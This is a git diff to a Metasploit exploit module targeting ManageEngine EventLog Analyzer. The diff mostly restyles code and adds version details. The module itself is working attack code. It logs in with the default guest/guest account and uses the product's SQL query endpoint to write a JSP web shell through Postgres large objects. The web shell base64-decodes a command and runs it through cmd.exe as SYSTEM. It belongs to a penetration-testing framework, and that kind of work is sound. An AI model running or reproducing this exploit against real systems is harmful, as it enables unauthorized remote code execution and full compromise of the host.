diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb index 151e3f51d3..31c0681afb 100644 --- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper @@ -14,13 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "ManageEngine EventLog Analyzer Remote Code Execution", + 'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution', 'Description' => %q{ - This module exploits a SQL query functionality in ManageEngine EventLog Analyzer. - Every authenticated user, including the default "guest" account can execute SQL queries directly - on the underlaying Postres database server. The queries are executed as the "postgres" user - which has full privileges and thus is able to write files to disk. This way a JSP payload - can be uploaded and executed with SYSTEM privileges on the web server. + This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6 + build 10060 and previous versions. Every authenticated user, including the default "guest" + account can execute SQL queries directly on the underlying Postgres database server. The + queries are executed as the "postgres" user which has full privileges and thus is able to + write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM + privileges on the web server. This module has been tested successfully on ManageEngine + EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => @@ -29,29 +31,28 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - [ 'EDB', '38173' ], + ['EDB', '38173'] ], 'Platform' => ['win'], 'Arch' => ARCH_X86, 'Targets' => [ - ['ManageEngine EventLog Analyzer', {}] + ['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}] ], 'Privileged' => true, - 'DisclosureDate' => "Jul 11 2015", + 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8400), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]), - OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]), - OptInt.new('WAIT', [true, 'Seconds to wait for execution of the payload', 5]), + OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]) ], self.class) end def uri - return target_uri.path + target_uri.path end @@ -61,21 +62,20 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "event", "index3.do") + 'uri' => normalize_uri(uri, 'event', 'index3.do') }) - if res && res.code == 200 && res.body =~ /ManageEngine EventLog Analyzer/ + if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end - - def sql_query( cookies, query ) + def sql_query(cookies, query) res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, "event", "runQuery.do"), + 'uri' => normalize_uri(uri, 'event', 'runQuery.do'), 'cookie' => cookies, 'vars_post' => { 'execute' => 'true', @@ -87,26 +87,26 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!") end - return res + res end def generate_jsp_payload(cmd) - decoder = rand_text_alphanumeric(4 + rand(32 - 4)) - decoded_bytes = rand_text_alphanumeric(4 + rand(32 - 4)) - cmd_array = rand_text_alphanumeric(4 + rand(32 - 4)) - jcode = "<%" - jcode << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" - jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" - jcode << "String [] #{cmd_array} = new String[3];\n" - jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" - jcode << "#{cmd_array}[1] = \"/c\";\n" - jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" - jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" - jcode << "%>" + decoder = rand_text_alpha(4 + rand(32 - 4)) + decoded_bytes = rand_text_alpha(4 + rand(32 - 4)) + cmd_array = rand_text_alpha(4 + rand(32 - 4)) + jsp_code = '<%' + jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + jsp_code << "String [] #{cmd_array} = new String[3];\n" + jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n" + jsp_code << "#{cmd_array}[1] = \"/c\";\n" + jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n" + jsp_code << '%>' - return jcode + jsp_code end @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Retrieving JSESSION ID") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "event", "index3.do"), + 'uri' => normalize_uri(uri, 'event', 'index3.do'), }) if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/ @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Access login page") res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, "event", "j_security_check;jsessionid=#{jsessionid}"), + 'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"), 'vars_post' => { 'forChecking' => 'null', 'j_username' => datastore['USERNAME'], @@ -171,11 +171,11 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing SQL queries") # Remove large object in database, just in case it exists from previous exploit attempts - sql = "SELECT lo_unlink(-1)" + sql = 'SELECT lo_unlink(-1)' result = sql_query(cookies, sql) # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. - sql = "SELECT lo_create(-1)" + sql = 'SELECT lo_create(-1)' result = sql_query(cookies, sql) if result.body =~ /menuItemRow\">([0-9]+)/ loid = $1 @@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote sql_query(cookies, sql) # Remove our large object in the database - sql = "SELECT lo_unlink(-1)" + sql = 'SELECT lo_unlink(-1)' result = sql_query(cookies, sql) register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}") @@ -207,10 +207,9 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(uri, jsp_name), }) - sleep(datastore['WAIT']) - # If the server returns 200 we assume we uploaded and executed the payload file successfully - if not res or res.code != 200 + unless res && res.code == 200 + print_status("#{res.code}\n#{res.body}") fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!") end